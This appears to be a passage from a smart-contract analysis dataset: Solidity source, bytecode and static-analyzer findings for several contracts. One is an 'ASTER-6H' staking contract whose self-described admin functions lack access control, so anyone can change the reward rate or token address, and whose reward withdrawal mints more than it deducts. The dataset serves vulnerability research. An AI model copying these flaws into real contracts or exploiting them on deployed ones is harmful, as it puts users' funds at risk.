return (self.proposal_[_whatProposal].log[_signer - 1]);
}
}
|
0x6080604052600436106100c15763ffffffff60e060020a6000350416630c3f64bf81146101515780630efcf295146101865780631785f53c146101a057806324d7806c146101c15780632b7832b3146101e25780632c29665614610209578063372cd1831461022157806339f636ab1461024a57806366d38203146102625780638d06804314610283578063a553506e14610298578063af1c084d146102c9578063cebc141a146102ea578063ed3643d6146102ff578063fcf2f85f1461033e575b600054604080517fd0e30db00000000000000000000000000000000000000000000000000000000081529051600160a060020a039092169163d0e30db091303191600480830192602092919082900301818588803b15801561012257600080fd5b505af1158015610136573d6000803e3d6000fd5b50505050506040513d602081101561014d57600080fd5b5050005b34801561015d57600080fd5b50610172600160a060020a0360043516610353565b604080519115158252519081900360200190f35b34801561019257600080fd5b5061019e600435610376565b005b3480156101ac57600080fd5b5061019e600160a060020a03600435166103f8565b3480156101cd57600080fd5b50610172600160a060020a03600435166107d8565b3480156101ee57600080fd5b506101f76107f6565b60408051918252519081900360200190f35b34801561021557600080fd5b5061019e6004356107fc565b34801561022d57600080fd5b5061019e600160a060020a0360043516602435604435151561098c565b34801561025657600080fd5b5061019e600435610b27565b34801561026e57600080fd5b5061019e600160a060020a0360043516610cb7565b34801561028f57600080fd5b506101f7610d70565b3480156102a457600080fd5b506102b0600435610d76565b6040805192835260208301919091528051918290030190f35b3480156102d557600080fd5b506101f7600160a060020a0360043516610e29565b3480156102f657600080fd5b506101f7610e47565b34801561030b57600080fd5b50610320600435602435604435606435610e4d565b60408051938452602084019290925282820152519081900360600190f35b34801561034a57600080fd5b506101f761108e565b600160a060020a0316600090815260026020526040902054610100900460ff1690565b3360009081526002602052604090205460ff6101009091041615156001146103ea576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b6103f5600182611094565b50565b3360009081526002602052604090205460ff61010090910416151560011461046c576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b6003546001106104da576040805160e560020a62461bcd028152602060048201526033602482015260008051602061149a83398151915260448201527f206c657373207468616e20322061646d696e7300000000000000000000000000606482015290519081900360840190fd5b6005546003541015610570576040805160e560020a62461bcd02815260206004820152604f602482015260008051602061149a83398151915260448201527f206c6573732061646d696e73207468616e206e756d626572206f66207265717560648201527f69726564207369676e6174757265730000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03811660009081526002602052604090205460ff610100909104161515600114156106a05760045460011061060a576040805160e560020a62461bcd028152602060048201526031602482015260008051602061149a83398151915260448201527f206c657373207468616e20322064657673000000000000000000000000000000606482015290519081900360840190fd5b60065460045410156106a0576040805160e560020a62461bcd028152602060048201526051602482015260008051602061149a83398151915260448201527f206c6573732064657673207468616e206e756d626572206f662072657175697260648201527f656420646576207369676e617475726573000000000000000000000000000000608482015290519081900360a40190fd5b6106ce60016006547f72656d6f766541646d696e000000000000000000000000000000000000000000611146565b1515600114156103f55761070360017f72656d6f766541646d696e000000000000000000000000000000000000000000611094565b600160a060020a03811660009081526002602052604090205460ff1615156001141561076957600160a060020a0381166000908152600260205260409020805460ff19169055600380546000190190556005546001101561076957600580546000190190555b600160a060020a03811660009081526002602052604090205460ff610100909104161515600114156103f557600160a060020a0381166000908152600260205260409020805461ff001916905560048054600019019055600654600110156103f5576006805460001901905550565b600160a060020a031660009081526002602052604090205460ff1690565b60035490565b3360009081526002602052604090205460ff610100909104161515600114610870576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b60008111801561088257506004548111155b1515610924576040805160e560020a62461bcd02815260206004820152604960248201527f6368616e676552657175697265644465765369676e617475726573206661696c60448201527f6564202d206d757374206265206265747765656e203120616e64206e756d626560648201527f72206f6620646576730000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b61095260016006547f6368616e676552657175697265644465765369676e6174757265730000000000611146565b1515600114156103f55761098760017f6368616e676552657175697265644465765369676e6174757265730000000000611094565b600655565b3360009081526002602052604090205460ff610100909104161515600114610a00576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b610a2e60016006547f61646441646d696e000000000000000000000000000000000000000000000000611146565b151560011415610b0757610a6360017f61646441646d696e000000000000000000000000000000000000000000000000611094565b600160a060020a03831660009081526002602052604090205460ff161515610abd57600160a060020a0383166000908152600260205260409020805460ff1916600190811790915560038054820190556005805490910190555b60018115151415610b0757600160a060020a0383166000908152600260205260409020805461ff001916610100831515021790556004805460019081019091556006805490910190555b50600160a060020a03909116600090815260026020526040902060010155565b3360009081526002602052604090205460ff610100909104161515600114610b9b576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b600081118015610bad57506003548111155b1515610c4f576040805160e560020a62461bcd02815260206004820152604860248201527f6368616e676552657175697265645369676e617475726573206661696c65642060448201527f2d206d757374206265206265747765656e203120616e64206e756d626572206f60648201527f662061646d696e73000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b610c7d60016006547f6368616e676552657175697265645369676e6174757265730000000000000000611146565b1515600114156103f557610cb260017f6368616e676552657175697265645369676e6174757265730000000000000000611094565b600555565b3360009081526002602052604090205460ff610100909104161515600114610d2b576040805160e560020a62461bcd02815260206004820152602960248201526000805160206114ba83398151915260448201526000805160206114da833981519152606482015290519081900360840190fd5b600054600160a060020a031615610d4157600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055490565b33600090815260026020526040812054819060ff161515600114610e0a576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b610e156001846112fd565b610e20600185611321565b91509150915091565b600160a060020a031660009081526002602052604090206001015490565b60045490565b336000908152600260205260408120548190819060ff161515600114610ee3576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b3063af1c084d610ef560018a8a611348565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b505050506040513d6020811015610f6a57600080fd5b50513063af1c084d610f7e60018b8a611348565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fc957600080fd5b505af1158015610fdd573d6000803e3d6000fd5b505050506040513d6020811015610ff357600080fd5b50513063af1c084d61100760018c8a611348565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b505050506040513d602081101561107c57600080fd5b50519199909850909650945050505050565b60065490565b60008060006110a284611405565b9250600090505b60008381526020869052604090206001015481101561112b57600083815260208681526040808320848452600381018084528285208054600160a060020a031680875260029093018552928520805460ff191690559385905292909152805473ffffffffffffffffffffffffffffffffffffffff1916905591506001016110a9565b50506000908152602092909252506040812081815560010155565b600080600080600061115786611405565b600081815260208a905260408082206001015490519296509450339350903690808383808284376040519201829003909120945050508415159150611221905057600084815260208981526040808320848155600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a905290810180549091019081905587141561121c57600194506112f2565b6112f2565b6000848152602089905260409020548114156112f257600084815260208981526040808320600160a060020a038616845260020190915290205460ff1615156112d457600084815260208981526040808320600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a9052908101805490910190555b6000848152602089905260409020600101548714156112f257600194505b505050509392505050565b60008061130983611405565b60009081526020949094525050604090912054919050565b60008061132d83611405565b60009081526020949094525050604090912060010154919050565b6000808083116113c8576040805160e560020a62461bcd02815260206004820152602860248201527f4d5346756e20636865636b5369676e6572206661696c6564202d2030206e6f7460448201527f20616c6c6f776564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6113d184611405565b60008181526020878152604080832060001988018452600301909152902054600160a060020a031692509050509392505050565b6040805160208082018490526c01000000000000000000000000300282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106114675780518252601f199092019160209182019101611448565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050560072656d6f766541646d696e206661696c6564202d2063616e6e6f7420686176656f6e6c7944657673206661696c6564202d206d73672e73656e646572206973206e6f742061206465760000000000000000000000000000000000000000000000a165627a7a72305820e87aed7273f1e45765050d62512caed237daf4936c8da504fce0f4638113dfef0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,891 |
0xb704fd161babc838bc7dcfbfa55e911ae1539d31
|
// /\ _ \/\ _`\ /\__ _\/\ _`\ /\ _`\
// \ \ \L\ \ \,\L\_\/_/\ \/\ \ \L\_\ \ \L\ \
// \ \ __ \/_\__ \ \ \ \ \ \ _\L\ \ , /
// \ \ \/\ \/\ \L\ \ \ \ \ \ \ \L\ \ \ \\ \
// \ \_\ \_\ `\____\ \ \_\ \ \____/\ \_\ \_\
// \/_/\/_/\/_____/ \/_/ \/___/ \/_/\/ /
// ASTER PROJECT - ASTER-6H
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x6fe6403080A3f80Da00387224E7846E1239DEC26;
function primary() private view returns (address) {
return Pool(_POOLADDRESS).primary();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**18;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public ast6Address;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
receive() external payable {
if(msg.sender != UNIROUTER){
stake(msg.sender, address(0));
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
ast6Address = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function stake(address staker, address payable ref) public payable{
staker = msg.sender;
if(ref != address(0)){
referralEarned[ref] = referralEarned[ref] + ((address(this).balance/10)*DECIMAL)/price();
}
sendValue(_POOLADDRESS, address(this).balance/2);
address poolAddress = Uniswap(FACTORY).getPair(ast6Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(ast6Address).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(ast6Address).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(ast6Address).balanceOf(address(this));
IERC20(ast6Address).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(ast6Address, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawLPTokens(uint amount) public {
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount);
address poolAddress = Uniswap(FACTORY).getPair(ast6Address, WETHAddress);
IERC20(poolAddress).transfer(msg.sender, amount);
internalTime[msg.sender] = now;
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount)/2;
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(ast6Address).mint(msg.sender, amount);
}
function withdrawReferralEarned(uint amount) public{
require(timePooled[msg.sender] != 0, "You have to stake at least a little bit to withdraw referral rewards");
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
referralEarned[msg.sender] = referralEarned[msg.sender].sub(amount);
IERC20(ast6Address).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewPooledEthAmount(who).mul( now.sub(internalTime[who]) ));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who))*2 );
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast6Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast6Address, WETHAddress);
uint tokenAmount = IERC20(ast6Address).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewReferralEarned(address who) public view returns (uint){
return referralEarned[who];
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast6Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(ast6Address).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function earnCalc(uint ethTime) public view returns(uint){
return ( rewardValue().mul(ethTime) ) / ( 31557600 * DECIMAL );
}
function ethtimeCalc(uint Ast6) internal view returns(uint){
return ( Ast6.mul(31557600 * DECIMAL) ).div( rewardValue() );
}
}
|
0x6080604052600436106101395760003560e01c80638439a541116100ab578063b1fd67401161006f578063b1fd6740146103c4578063cb43b2dd146103f7578063d28de27314610421578063d488ebe814610436578063e42255d814610469578063e91ed7c91461049c57610166565b80638439a5411461031c5780638d301f99146103465780639d2a679f14610370578063a035b1fe14610385578063a064b44b1461039a57610166565b8063452d003f116100fd578063452d003f1461023e578063475d8733146102685780634caacd751461027d5780636dc64a02146102a65780636f1c569a146102d9578063808615ac146102ee57610166565b80630af88b241461016b57806312c7df731461019c57806326a4e8d2146101c357806329b83c2e146101f65780632dd310001461022957610166565b366101665733737a250d5630b4cf539739df2c5dacb4c659f2488d14610164576101643360006104cf565b005b600080fd5b34801561017757600080fd5b50610180610abf565b604080516001600160a01b039092168252519081900360200190f35b3480156101a857600080fd5b506101b1610ace565b60408051918252519081900360200190f35b3480156101cf57600080fd5b50610164600480360360208110156101e657600080fd5b50356001600160a01b0316610ad4565b34801561020257600080fd5b506101b16004803603602081101561021957600080fd5b50356001600160a01b0316610b69565b34801561023557600080fd5b50610180610b7b565b34801561024a57600080fd5b506101646004803603602081101561026157600080fd5b5035610b93565b34801561027457600080fd5b50610164610d6c565b34801561028957600080fd5b50610292610d81565b604080519115158252519081900360200190f35b3480156102b257600080fd5b506101b1600480360360208110156102c957600080fd5b50356001600160a01b0316610d91565b3480156102e557600080fd5b50610180610dac565b6101646004803603604081101561030457600080fd5b506001600160a01b03813581169160200135166104cf565b34801561032857600080fd5b506101646004803603602081101561033f57600080fd5b5035610dbb565b34801561035257600080fd5b506101646004803603602081101561036957600080fd5b5035610e04565b34801561037c57600080fd5b506101b1610f3b565b34801561039157600080fd5b506101b1610f44565b3480156103a657600080fd5b506101b1600480360360208110156103bd57600080fd5b50356110fc565b3480156103d057600080fd5b506101b1600480360360208110156103e757600080fd5b50356001600160a01b031661112a565b34801561040357600080fd5b506101646004803603602081101561041a57600080fd5b50356112d1565b34801561042d57600080fd5b50610180611402565b34801561044257600080fd5b506101b16004803603602081101561045957600080fd5b50356001600160a01b031661141a565b34801561047557600080fd5b506101b16004803603602081101561048c57600080fd5b50356001600160a01b0316611458565b3480156104a857600080fd5b506101b1600480360360208110156104bf57600080fd5b50356001600160a01b0316611545565b3391506001600160a01b03811615610522576104e9610f44565b670de0b6b3a7640000600a470402816104fe57fe5b6001600160a01b038316600090815260056020526040902080549290910490910190555b610543736fe6403080a3f80da00387224e7846e1239dec2660024704611560565b6006546007546040805163e6a4390560e01b81526001600160a01b03938416600482015292909116602483015251600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a4390591604480820192602092909190829003018186803b1580156105b057600080fd5b505afa1580156105c4573d6000803e3d6000fd5b505050506040513d60208110156105da57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561062f57600080fd5b505afa158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156106ae57600080fd5b505afa1580156106c2573d6000803e3d6000fd5b505050506040513d60208110156106d857600080fd5b5051905060006106f2836106ec47856115f5565b90611655565b600654604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107af57600080fd5b505afa1580156107c3573d6000803e3d6000fd5b505050506040513d60208110156107d957600080fd5b5051600654604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561082c57600080fd5b505afa158015610840573d6000803e3d6000fd5b505050506040513d602081101561085657600080fd5b50516006546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b1580156108c357600080fd5b505af11580156108d7573d6000803e3d6000fd5b505050506040513d60208110156108ed57600080fd5b50506006546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b15801561097657600080fd5b505af115801561098a573d6000803e3d6000fd5b50505050506040513d60608110156109a157600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d6020811015610a1757600080fd5b505190506000610a278285611697565b9050610a54610a358b6116d9565b6001600160a01b038c166000908152600460205260409020549061170a565b6001600160a01b038b166000908152600460209081526040808320939093556001815282822042908190556002825283832055600390522054610a97908261170a565b6001600160a01b03909a16600090815260036020526040902099909955505050505050505050565b6007546001600160a01b031681565b60005490565b600754600160a81b900460ff1615610b33576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6007805460ff60a81b1916600160a81b179055600680546001600160a01b039092166001600160a01b0319909216919091179055565b60016020526000908152604090205481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b33600090815260016020526040902054426170809091011115610be75760405162461bcd60e51b815260040180806020018281038252602c815260200180611901602c913960400191505060405180910390fd5b610c09610bf3336116d9565b336000908152600460205260409020549061170a565b33600090815260046020908152604080832093909355600390522054610c2f9082611697565b33600090815260036020908152604080832093909355600654600754845163e6a4390560e01b81526001600160a01b0392831660048201529116602482015292519192735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9263e6a4390592604480840193919291829003018186803b158015610cab57600080fd5b505afa158015610cbf573d6000803e3d6000fd5b505050506040513d6020811015610cd557600080fd5b50516040805163a9059cbb60e01b81523360048201526024810185905290519192506001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b505050506040513d6020811015610d5457600080fd5b50503360009081526002602052604090204290555050565b6007805460ff60a01b1916600160a01b179055565b600754600160a01b900460ff1690565b6001600160a01b031660009081526005602052604090205490565b6006546001600160a01b031681565b610dc3610d81565b15610dff5760405162461bcd60e51b815260040180806020018281038252602e81526020018061194e602e913960400191505060405180910390fd5b600055565b33600090815260016020526040902054610e4f5760405162461bcd60e51b81526004018080602001828103825260448152602001806118836044913960600191505060405180910390fd5b33600090815260016020526040902054426170809091011115610ea35760405162461bcd60e51b815260040180806020018281038252602c815260200180611901602c913960400191505060405180910390fd5b33600090815260056020526040902054610ebd9082611697565b336000818152600560205260408082209390935560065483516340c10f1960e01b815260048101939093526024830185905292516001600160a01b03909316926340c10f1992604480820193929182900301818387803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b5050505050565b6407b71a3f5481565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015610fb257600080fd5b505afa158015610fc6573d6000803e3d6000fd5b505050506040513d6020811015610fdc57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561103157600080fd5b505afa158015611045573d6000803e3d6000fd5b505050506040513d602081101561105b57600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156110b057600080fd5b505afa1580156110c4573d6000803e3d6000fd5b505050506040513d60208110156110da57600080fd5b505190506110f4816106ec670de0b6b3a7640000856115f5565b935050505090565b60006a1a1a94ec861d5c3380000061111c83611116610ace565b906115f5565b8161112357fe5b0492915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d60208110156111c257600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b505afa15801561122b573d6000803e3d6000fd5b505050506040513d602081101561124157600080fd5b5051604080516318160ddd60e01b815290519192506112c9916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d60208110156112b457600080fd5b50516106ec6112c287611545565b84906115f5565b949350505050565b336000908152600160205260409020544261708090910111156113255760405162461bcd60e51b815260040180806020018281038252602c815260200180611901602c913960400191505060405180910390fd5b611331610bf3336116d9565b336000908152600460209081526040808320939093556002908190529181204290559061135d83611764565b8161136457fe5b3360009081526004602052604090205491900491506113839082611697565b3360008181526004602081905260408083209490945560065484516340c10f1960e01b8152918201939093526024810186905292516001600160a01b03909216926340c10f19926044808301939282900301818387803b1580156113e657600080fd5b505af11580156113fa573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600061145261144a61142b846116d9565b6001600160a01b0385166000908152600460205260409020549061170a565b6002026110fc565b92915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156114c657600080fd5b505afa1580156114da573d6000803e3d6000fd5b505050506040513d60208110156114f057600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b6001600160a01b031660009081526003602052604090205490565b6040516000906001600160a01b0384169083908381818185875af1925050503d80600081146115ab576040519150601f19603f3d011682016040523d82523d6000602084013e6115b0565b606091505b50509050806115f05760405162461bcd60e51b815260040180806020018281038252603a8152602001806118c7603a913960400191505060405180910390fd5b505050565b60008261160457506000611452565b8282028284828161161157fe5b041461164e5760405162461bcd60e51b815260040180806020018281038252602181526020018061192d6021913960400191505060405180910390fd5b9392505050565b600061164e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611786565b600061164e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611828565b6001600160a01b03811660009081526002602052604081205461145290611701904290611697565b6111168461112a565b60008282018381101561164e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611452611771610ace565b6106ec846a1a1a94ec861d5c338000006115f5565b600081836118125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117d75781810151838201526020016117bf565b50505050905090810190601f1680156118045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161181e57fe5b0495945050505050565b6000818484111561187a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117d75781810151838201526020016117bf565b50505090039056fe596f75206861766520746f207374616b65206174206c656173742061206c6974746c652062697420746f20776974686472617720726566657272616c2072657761726473416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564497420686173206e6f74206265656e203820686f7572732073696e636520796f75207374616b656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a26469706673582212207b4242e75d5cdad7e7130d36f868a37ba0333a1a9aa3ed33f865905b94caf36064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,892 |
0x24c9045c59f6ddfbe145cc6cb618c13ed83727e6
|
pragma solidity ^0.4.16;
contract ERC223 {
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ForeignToken {
